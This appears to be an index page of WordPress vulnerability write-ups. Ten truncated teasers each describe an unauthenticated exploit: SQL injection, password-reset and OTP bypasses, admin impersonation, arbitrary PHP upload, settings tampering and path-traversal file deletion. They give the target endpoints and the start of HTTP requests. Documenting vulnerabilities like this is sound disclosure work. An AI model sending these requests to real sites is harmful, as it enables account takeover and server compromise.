## The Exploit An unauthenticated attacker can perform SQL injection via the `author__not_in` parameter in any REST API endpoint that passes user input to `WP_Query`. The following curl request demonstrates the injection against the default `/wp/v2/posts` endpoint. ```bash curl...
## The Exploit An unauthenticated attacker can modify any WordPress user account — including administrators — by submitting an `ID` parameter in a form request to the Charitable user profile update handler. ```http POST /wp-admin/admin-aj...
Read article →## The Exploit An unauthenticated attacker with knowledge of any user's email address can reset their password without possessing the correct reset code. ```http POST /wp-json/apppresser/v1/user/reset-password HTTP/1.1 Host: target.wordpr...
Read article →## The Exploit An unauthenticated attacker can invoke the REST API endpoint without authentication and request an impersonation link for any user, including administrators. ```http GET /wp-json/multi-manager-wp/v1/users/impersonate?id=1 H...
Read article →## The Exploit An unauthenticated attacker with knowledge of a WordPress user's phone number can obtain a valid authentication token and assume their identity by sending a single GET request to the unprotected Firebase SMS login endpoint. ...
Read article →## The Exploit **An unauthenticated attacker can POST a multipart request to the WordPress admin-ajax endpoint with action `yayextra_upload_image_swatches` to upload an arbitrary PHP file, bypassing all file-type validation.** ```http POS...
Read article →## The Exploit An unauthenticated attacker can POST to the vulnerable plugin's configuration controller and modify arbitrary plugin settings without admin credentials. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.local Cont...
Read article →## The Exploit An unauthenticated attacker can reset the password of any WordPress user—including administrators—by sending a password reset request with an empty or tampered token parameter. No prior account compromise is required. ```ht...
Read article →## The Exploit An unauthenticated attacker can log in as any user with a verified email by submitting an empty OTP value to the plugin's REST endpoint. ```http POST /wp-json/user-verification/v1/otpLogin HTTP/1.1 Host: target.wordpress.lo...
Read article →## The Exploit An unauthenticated attacker can delete arbitrary files on the server by crafting a POST request to the form handler with a malicious `image_url` parameter containing path traversal sequences. ```http POST /wp-admin/admin-aj...
Read article →